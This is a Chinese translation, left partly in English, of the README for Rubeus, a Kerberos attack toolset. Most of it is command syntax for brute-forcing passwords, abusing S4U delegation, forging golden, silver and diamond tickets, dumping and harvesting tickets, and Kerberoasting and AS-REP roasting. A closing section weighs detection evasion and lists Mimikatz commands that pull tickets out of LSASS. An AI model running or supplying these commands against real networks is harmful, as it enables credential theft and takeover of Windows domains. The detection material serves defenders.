尝试驯服三头犬。
Rubeus是一个用于原始Kerberos交互和滥用的C#工具集。它大量改编自Benjamin Delpy的Kekeo项目(CC BY-NC-SA 4.0许可证)和Vincent LE TOUX的MakeMeEnterpriseAdmin项目(GPL v3.0许可证)。完全感谢Benjamin和Vincent解决了武器化中的困难组件——没有他们之前的工作,这个项目就不会存在。
Charlie Clark 和 Ceri Coburn 作为共同开发者对Rubeus代码库做出了重大贡献。Elad Shamir 贡献了基于资源的约束委派的关键工作。非常感谢他们的工作!
Rubeus还使用了来自Thomas Pornin的一个名为DDer的C# ASN.1解析/编码库,该库以类似MIT的许可证发布。非常感谢Thomas提供的干净稳定的代码!
PKINIT代码大量改编自@SteveSyfuhs的Bruce工具。Bruce使RFC4556 (PKINIT)变得更容易理解。非常感谢Steve!
Kerberos PAC的NDR编码和解码基于来自@tiraniddo的NtApiDotNet库,感谢James。
用于Kerberoasting的KerberosRequestorSecurityToken.GetRequest方法由@machosec贡献给PowerView(然后被整合到Rubeus中)。
@harmj0y是该代码库的主要作者。
Rubeus使用BSD 3-Clause许可证。
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
票据请求和续订:
基于用户密码/哈希检索TGT,可选择保存到文件或应用到当前登录会话或特定的LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
基于用户密码/哈希检索TGT,可选择保存到文件或应用到当前登录会话或特定的LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
基于用户密码/哈希检索TGT,启动/netonly进程,并将票据应用到新进程/登录会话:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
使用PCKS12证书检索TGT,启动/netonly进程,并将票据应用到新进程/登录会话:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
使用用户密钥库(智能卡)中的证书检索TGT,指定证书指纹或主题,启动/netonly进程,并将票据应用到新进程/登录会话:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
检索适用于changepw命令更改密码过期的账户的TGT:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
请求TGT而不发送预认证数据:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
使用AS-REQ请求服务票据:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
为一个或多个SPN检索服务票据,可选择保存或应用票据:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
使用Kerberos Key List Request选项检索服务票据:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
检索委托管理服务账户票据:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
续订TGT,可选择应用票据、保存或自动续订至其renew-till限制:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
执行基于Kerberos的密码暴力破解攻击:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
扫描不需要预认证的账户:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
约束委派滥用:
执行S4U约束委派滥用:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
跨域执行S4U约束委派滥用:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
票据伪造:
使用LDAP收集相关信息伪造黄金票据:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
使用LDAP收集相关信息但显式覆盖某些值伪造黄金票据:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
显式设置值伪造黄金票据:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
使用LDAP收集相关信息伪造白银票据:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
使用LDAP收集相关信息伪造白银票据,使用KRBTGT密钥计算KDCChecksum和TicketChecksum:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
使用LDAP收集相关信息但显式覆盖某些值伪造白银票据:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
使用LDAP收集相关信息伪造白银票据,并包含S4U委派信息PAC部分:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
使用LDAP收集相关信息伪造白银票据,并设置不同的cname和crealm:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
显式设置值伪造白银票据:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
通过基于用户密码/哈希请求TGT来伪造钻石TGT:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
通过使用PCKS12证书请求TGT来伪造钻石TGT:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
通过使用tgtdeleg请求TGT来伪造钻石TGT:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
票据管理:
提交TGT,可选择针对特定LUID(如已提升):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
从当前登录会话中清除票据,可选择针对特定LUID(如已提升):
Rubeus.exe purge [/luid:LOGINID]
解析和描述票据(服务票据或TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
票据提取与收集:
分类所有当前票据(如已提升,列出所有用户的票据),可选择针对特定LUID、用户名或服务:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
详细列出所有当前票据(如已提升,列出所有用户的票据),可选择针对特定LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
转储所有当前票据数据(如已提升,转储所有用户的数据),可选择针对特定服务/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
通过滥用Kerberos GSS-API、伪造委派,在不提升权限的情况下为当前用户检索一个可用的TGT .kirbi(含会话密钥):
Rubeus.exe tgtdeleg [/target:SPN]Monitor every /interval SECONDS (default 60) for new TGTs:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting:
Perform Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting, outputting hashes to a file:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Perform Kerberoasting, outputting hashes in the file output format, but to the console:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting with an existing TGT:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Perform Kerberoasting with an existing TGT using an enterprise principal:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
List statistics about found Kerberoastable accounts without actually sending ticket requests:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Perform AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Perform Kerberoasting using an account without pre-auth by sending AS-REQ's:
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]
Perform AS-REP "roasting" for any users without preauth:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]
Perform AS-REP "roasting" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
Miscellaneous:
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
Reset a user's password from a supplied TGT (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
Substitute an sname or SPN into an existing service ticket:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Display the current user's LUID:
Rubeus.exe currentluid
Display information about the (current) or (target) logon session, default all readable:
Rubeus.exe logonsession [/current] [/luid:X]
The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.
The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.
The "/debug" flag outputs ASN.1 debugging information.
Convert an AS-REP and a key to a Kirbi:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Insert new DES session key into a Kirbi:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
本节涵盖在环境中使用 Rubeus 时的操作安全注意事项,并提供了一些技术示例与 Mimikatz 的方法进行比较/对比。此处的材料将在未来进行扩展。
你在系统上执行的任何操作都是可检测的风险,尤其是在以“奇怪”/非预期的方式滥用功能时。Rubeus(像任何攻击者工具集一样)可以通过多种方法被检测到,无论是从主机、网络还是域的角度。我有一个同事喜欢说_“一切都是隐蔽的,直到有人开始寻找它”_——工具和技术通常能够逃避检测,要么是因为 a) 人们没有充分意识到该工具/技术,因此甚至没有在寻找;b) 人们无法以适当的规模收集和处理所需的数据;或者 c) 该工具/技术与现有行为融合,足以在环境中通过误报潜入。有关这些步骤和检测规避的更多信息,请参见 Matt Graeber 和 Lee Christensen 在 Black Hat USA 2018 上的演讲 “Subverting Sysmon” 及相关 白皮书。
从主机的角度来看,Rubeus 可以在初始 武器化 阶段被捕获,例如通过非正常进程(非 lsass.exe)发出原始 Kerberos 端口 88 流量、使用敏感 API(如 LsaCallAuthenticationPackage()),或者主机上存在异常票据(例如现代环境中票据使用了 rc4_hmac)。
从网络或域控制器日志的角度来看,由于 Rubeus 实现了 Kerberos 协议的许多部分,主要的检测方法涉及在 Kerberos 交换中使用 rc4_hmac。现代 Windows 域(功能级别 2008 及以上)在正常的 Kerberos 交换中默认使用 AES 加密(除了少数例外,如跨域信任票据)。使用 rc4_hmac (NTLM) 哈希代替 aes256_cts_hmac_sha1 (或 aes128) 密钥会导致一些可检测的信号,这些信号可以在主机级别、网络级别(如果解析了 Kerberos 流量)和域控制器事件日志级别被检测到,有时称为“加密降级”。
攻击工具经常被检测到的一种方式是通过代码的武器化载体。如果 Rubeus 通过 PowerShell 运行(包括 Empire),则标准的 PowerShell V5 保护措施均适用(深度脚本块日志记录、AMSI 等)。如果 Rubeus 作为二进制文件在磁盘上执行,则标准的 AV 签名检测会生效(这也是我们 不发布 已编译版本 Rubeus 的部分原因,因为脆弱的签名很愚蠢;)。如果 Rubeus 作为 库 使用,则它易受主要工具使用任何方法的影响。如果 Rubeus 通过非托管程序集执行(如 Cobalt Strike 的 execute_assembly)运行,则会执行跨进程代码注入,并且 CLR 会被加载到一个可能非 .NET 的进程中,尽管此信号存在于使用此方法执行任何 .NET 代码时。
另外,AMSI(反恶意软件扫描接口)已 添加到 .NET 4.8。Ryan Cobb 在其文章 “Entering a Covenant: .NET Command and Control” 的 防御 部分中提供了关于此攻击影响的更多细节。
假设我们在一台机器上拥有提升的访问权限,并想要提取用户凭据以重复使用。
Mimikatz 是凭据提取的瑞士军刀,具有多种选项。sekurlsa::logonpasswords 命令将打开一个 对 LSASS 的读取句柄,枚举系统上存在的登录会话,遍历每个登录会话的默认身份验证包,并提取任何可逆的密码/凭据材料。附注:sekurlsa::ekeys 命令将枚举 Kerberos 包中存在的所有密钥类型。
Rubeus 没有任何代码来接触 LSASS(也不打算这样做),因此其功能仅限于通过使用 LsaCallAuthenticationPackage() API 提取 Kerberos 票据。从非提升的角度来看,TGT 的会话密钥默认不会被返回,因此只有提取的服务票据是可用的(tgtdeleg 命令使用 Kekeo 技巧来为当前用户获取可用的 TGT)。如果处于高完整性上下文中,则会运行一个 GetSystem 等效操作(利用令牌复制)提升到 SYSTEM,并使用 LsaRegisterLogonProcess() API 调用注册一个虚假登录应用程序。这允许特权枚举和提取当前系统上 LSA 中注册的所有票据,从而输出 base64 编码的 .kirbi 文件供后续使用。
Mimikatz 可以通过以下一系列命令执行相同的 base64 .kirbi 提取:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz 还可以直接从 LSASS 的内存中切割出票据:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
由于“一切都是隐蔽的,直到有人开始寻找它”,操纵 LSASS 与通过 LsaCallAuthenticationPackage() API 调用提取票据哪种方法更“隐蔽”是有争议的。由于 Mimikatz 的普及,打开对 LSASS 的句柄并读写其内存已成为 EDR 检测和/或预防的主要目标。然而,LsaCallAuthenticationPackage() 仅被相当有限的进程使用,而使用 LsaRegisterLogonProcess() 创建虚假登录应用程序也是相当异常的行为。然而,完整的 API 级别内省和基线化似乎是一个比 LSASS 保护更困难的技术问题。
假设我们恢复了一个用户的 rc4_hmac 哈希(NTLM),并希望重用此凭据来攻陷用户帐户具有特权访问权限的另一台机器。
附注: 哈希传递(pass-the-hash) != 超哈希传递(over-pass-the-hash)。传统的哈希传递技术涉及通过 NTLMv1/NTLMv2 协议重用哈希,这完全不涉及 Kerberos。超哈希传递方法由 Benjamin Delpy 和 Skip Duckwall 开发(请参见他们的演示文稿 “Abusing Microsoft Kerberos - Sorry you guys don't get it” 了解更多信息)。此方法将域成员的哈希/密钥(rc4_hmac、aes256_cts_hmac_sha1 等)转换为完整的票据授予票据(TGT)。
让我们比较通过 Mimikatz 的 sekurlsa::pth 命令进行“超哈希传递”与使用 Rubeus(或 Kekeo)的 asktgt 命令。
